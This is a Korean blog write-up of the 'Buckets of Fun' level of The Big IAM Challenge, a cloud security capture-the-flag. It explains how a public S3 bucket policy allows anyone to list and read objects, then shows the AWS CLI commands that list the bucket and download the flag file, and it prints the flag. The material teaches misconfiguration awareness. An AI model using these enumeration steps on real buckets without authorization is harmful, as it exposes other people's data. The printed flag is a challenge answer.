반응형
    
    
    
  문제
설명
Buckets of Fun : We all know that public buckets are risky. But can you find the flag?
IAM Policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}풀이
이번 문제는 "thebigiamchallenge-storage-9979f4b" Bucket의 ListObjcet와 GetObjcet 권한이 누구에게나(Principal : *) 열려있어 파일 목록을 확인하고 다운로드 받을 수 있는 상황임
PoC
1. AWS CLI 설치
최신 버전의 AWS CLI 설치 또는 업데이트 - AWS Command Line Interface
이전 버전에서 업데이트하는 경우 unzip 명령을 실행하면 기존 파일을 덮어쓸지 묻는 메시지가 표시됩니다. 스크립트 자동화와 같은 경우에 이러한 프롬프트를 건너뛰려면 unzip에 대한 -u 업데이
docs.aws.amazon.com
2. IAM 사용자 생성
- 사용자 생성 시 권한 정책은 AmazonS3ReadOnlyAccess 로 설정
- 보안 자격 증명 -> 액세스 키 -> 액세스 키 만들기 -> CLI -> 프로세스 진행
> aws configure
AWS Access Key ID [None]: Access Key ID
AWS Secret Access Key [None]: Secret Key
Default region name [None]: ap-northeast-2
Default output format [None]: json
3. aws-cli를 통하여 File List 확인 및 Flag 획득
File List 확인
> aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
2023-06-06 04:13:53         37 flag1.txt
2023-06-09 04:18:24      81889 logo.pngFile 다운로드 및 Flag 획득
> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt ./
download: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to .\flag1.txt
> type flag1.txt
{wiz:exposed-storage-risky-as-usual}
반응형
    
    
    
  'Hack > Cloud' 카테고리의 다른 글
| [The Big IAM Challenge] Do I know you? (0) | 2023.07.09 | 
|---|---|
| [The Big IAM Challenge] Admin only? (0) | 2023.07.09 | 
| [The Big IAM Challenge] Enable Push Notifications (0) | 2023.07.09 | 
| [The Big IAM Challenge] Google Analytics (0) | 2023.07.09 | 
| AWS S3 Bucket 설정 시 주의해야 할 점 (0) | 2023.05.27 | 
 
														
													 
														
													 
														
													 
														
													
댓글